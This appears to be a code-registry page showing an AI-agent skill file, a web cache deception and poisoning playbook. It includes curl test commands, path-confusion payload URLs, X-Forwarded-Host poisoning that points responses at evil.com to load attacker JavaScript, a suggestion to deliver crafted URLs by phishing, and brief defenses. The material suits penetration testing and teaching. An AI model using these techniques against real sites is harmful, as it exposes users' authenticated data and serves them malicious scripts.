web-cache-deception
Skill2 starsChanged 5 months agoApache-2.0View on GitHub
Web cache deception and poisoning playbook. Use when CDN, reverse proxy, or application caching may serve sensitive authenticated content to other users due to path confusion or cache key manipulation.
7 other projects use a version of this, 2 of them edited.
Adopted by
Most recently taken up by
- NoorQureshi/ronintheir own version, first seen Oct 11, 2026
- NoorQureshi/SploitAgenttheir own version, first seen Oct 11, 2026
- NoorQureshi/security-skillstheir own version, first seen Oct 11, 2026
- emre-guler/websectheir own version, first seen Aug 27, 2026
- conjure-3301/skillstheir own version, first seen Aug 17, 2026
- Kur1sulab/blackboxedited, first seen Aug 12, 2026
Other versions7 projects use a version of this.
Word for word · 0
None found.
Edited · 2
- yaklang/hack-skills★ 2.4k99% same
- Kur1sulab/blackbox★ 399% same
Wrote their own version · 5
- NoorQureshi/security-skills★ 27same name
- NoorQureshi/ronin★ 26same name
- NoorQureshi/SploitAgent★ 26same name
- emre-guler/websec★ 2same name
- conjure-3301/skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository168 other files it gives its agents.
- AGENTS.mdAGENTS.md
- .cursor/rules/CO-STAR-UI-CREATOR/AGENT.mdcCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/CO-STAR-CREATOR.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/CO-STAR-PROMPT.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/README.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/ui.mdCursor rule
- 401-403-bypass-techniquesSkill
- active-directory-acl-abuseSkill
- active-directory-certificate-servicesSkill
- active-directory-kerberos-attacksSkill
- agent-browserSkill
- ai-ml-securitySkill
- ai-seoSkill
- android-pentesting-tricksSkill
- anti-debugging-techniquesSkill
- api-auth-and-jwt-abuseSkill
- api-authorization-and-bolaSkill
- api-recon-and-docsSkill
- api-secSkill
- arbitrary-write-to-rceSkill
- arize-adminSkill
- arize-ai-provider-integrationSkill
- arize-annotationSkill
- arize-compliance-auditSkill
- arize-datasetSkill
- arize-evaluatorSkill
- arize-experimentSkill
- arize-instrumentationSkill
- arize-linkSkill
- arize-prompt-optimizationSkill
- arize-promptsSkill
- arize-traceSkill
- authbypass-authentication-flawsSkill
- auth-secSkill
- binary-protection-bypassSkill
- browser-exploitation-v8Skill
- building-nango-functions-locallySkill
- building-nango-functions-remotelySkill
- building-nango-functionsSkill
- business-logic-vulnerabilitiesSkill
- business-logic-vulnSkill
- classical-cipher-analysisSkill
- clickjackingSkill
- cmdi-command-injectionSkill
- code-obfuscation-deobfuscationSkill
- compliance-checkSkill
- compliance-trackingSkill
- container-escape-techniquesSkill
- core-engineeringSkill
- cors-cross-origin-misconfigurationSkill
- crlf-injectionSkill
- csp-bypass-advancedSkill
- csrf-cross-site-request-forgerySkill
- csv-formula-injectionSkill
- d3-visualizationSkill
- dangling-markup-injectionSkill
- defi-attack-patternsSkill
- dependency-confusionSkill
- deserialization-insecureSkill
- dns-rebinding-attacksSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
3 rules. 0 are common, 1 is distinctive, and 2 are very specific to this project.
0
Common
Most of the 4 edited versions we read keep these.
1
Distinctive
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 198
Never cache based on file extension alone
- Very specific: line 200
Use Vary: Cookie to prevent cross-user cache hits
- Very specific: line 206
Use Cache-Control: no-cache for dynamic content
“Common” is measured: kept by at least 6 in 10 of the 4 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
SKILL: Web Cache Deception — Expert Attack Playbook
AI LOAD INSTRUCTION: Web cache deception and poisoning techniques. Covers path confusion attacks, CDN cache behavior exploitation, cache key manipulation, and the distinction between cache deception (steal data) and cache poisoning (serve malicious content). Presented by Omer Gil at Black Hat 2017 and significantly expanded since.
Advanced Reference
Also load CACHE_POISONING_TECHNIQUES.md when you need:
- Web Cache Poisoning vs Web Cache Deception — clear distinction and attack flow comparison
- Unkeyed header poisoning (X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, multiple Host headers)
- Unkeyed parameter poisoning (utm_content, fbclid, callback, reflected but not in cache key)
- Fat GET cache poisoning (body parameters reflected but not keyed)
- Parameter cloaking via semicolons and duplicate parameter parsing differentials
- CDN-specific behavior: CDN, CloudFront, Akamai, Varnish, Fastly (cache key composition, debug headers, ESI)
- Vary header manipulation, cache partitioning attacks, and missing Vary vulnerabilities
1. CORE CONCEPTS
Web Cache Deception (steal authenticated data)
The attacker tricks a victim into requesting their authenticated page at a URL that the cache considers static:
Victim visits: https://target.com/account/profile/nonexistent.css
→ Application ignores "nonexistent.css", serves /account/profile (with auth data)
→ CDN sees .css extension → caches the response
→ Attacker fetches: https://target.com/account/profile/nonexistent.css
→ CDN serves cached authenticated content → attacker reads victim's dataWeb Cache Poisoning (serve malicious content)
The attacker manipulates unkeyed request components (headers, cookies) to make the cache store a malicious response:
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ Application generates: <script src="https://evil.com/js/app.js">
→ Cache stores this response
→ Normal users hit cache → load attacker's JavaScript2. CACHE DECEPTION — ATTACK METHODOLOGY
Step 1: Identify Cacheable Path Patterns
CDNs typically cache by file extension:
.css .js .jpg .png .gif .svg .ico
.woff .woff2 .ttf .pdf .json (sometimes)Step 2: Test Path Confusion
# Append static extension to authenticated endpoint:
https://target.com/api/me/info.css
https://target.com/account/profile/x.js
https://target.com/settings/avatar.png
https://target.com/dashboard/data.json
# Path traversal style:
https://target.com/account/profile/..%2fstatic/app.cssStep 3: Verify Caching
# Request as victim (authenticated):
curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css
# Check response headers:
# X-Cache: MISS (first request)
# Age: 0
# Request again as attacker (no auth):
curl https://target.com/account/profile/x.css
# Check response:
# X-Cache: HIT
# Contains victim's authenticated content? → vulnerableStep 4: Deliver to Victim
Send the crafted URL to victim via phishing, message, or embed:
https://target.com/account/profile/tracking.gif3. CACHE POISONING — ATTACK METHODOLOGY
Unkeyed Input Discovery
Cache keys typically include: Host, URL path, query string.
These are typically NOT in the cache key: X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, cookies, custom headers.
# Test if X-Forwarded-Host is reflected but not keyed:
curl -H "X-Forwarded-Host: evil.com" https://target.com/page
# If response contains evil.com and caches → poisonableCommon Unkeyed Headers
X-Forwarded-Host X-Forwarded-Scheme X-Forwarded-Proto
X-Original-URL X-Rewrite-URL X-Host
X-Forwarded-Server Forwarded True-Client-IPCache Poisoning via Host Header
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
→ Response: <link href="//evil.com/static/main.css">
→ Cached → all users load attacker's CSS/JS4. PATH NORMALIZATION DIFFERENCES
The key to cache deception: CDN and application normalize paths differently.
| Component | Behavior |
| CDN (CDN, Akamai) | Caches based on full URL path including extension |
| Application (Rails, Django, Express) | May ignore trailing path segments or extensions |
| Reverse proxy (Nginx) | May strip or rewrite path before forwarding |
# Application treats these as equivalent:
/account/profile
/account/profile/anything
/account/profile/x.css
/account/profile;.css
# CDN treats .css as cacheable static asset
→ Mismatch = vulnerability5. CACHE POISONING REAL-WORLD PATTERN
X-Forwarded-Host → Open Graph / Meta Tag Injection
# Target page uses X-Forwarded-Host to generate meta tags:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# Response:
<meta property="og:image" content="https://evil.com/assets/logo.png">
# or:
<link rel="canonical" href="https://evil.com/">
# If response is cached → all users see evil.com references
# Impact: XSS via injected JS path, phishing via canonical redirect, SEO hijackCache Deception with Path Separator Tricks
# Semicolon (treated as path parameter by some frameworks):
/account/profile;.css
# Encoded separators:
/account/profile%2F.css
# Trailing dot/space:
/account/profile/.css
/account/profile .css6. DEFENSE
For Cache Deception
- Cache only explicitly static paths (e.g.,
/static/*,/assets/*) - Never cache based on file extension alone
- Set
Cache-Control: no-store, privateon authenticated endpoints - Use
Vary: Cookieto prevent cross-user cache hits
For Cache Poisoning
- Include all reflected headers in cache key
- Validate and sanitize
X-Forwarded-*headers - Use
Cache-Control: no-cachefor dynamic content - Strip unknown headers at CDN edge
6. TESTING CHECKLIST
□ Identify CDN/cache layer (X-Cache, Age, Via headers)
□ Append .css/.js/.png to authenticated API endpoints
□ Check if response is cached (X-Cache: HIT on second request)
□ Test path separators: /x.css, ;.css, %2F.css
□ Test unkeyed headers: X-Forwarded-Host, X-Original-URL
□ Verify Cache-Control headers on sensitive endpoints
□ Check Vary header presence
□ Test with and without authenticationDoes it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

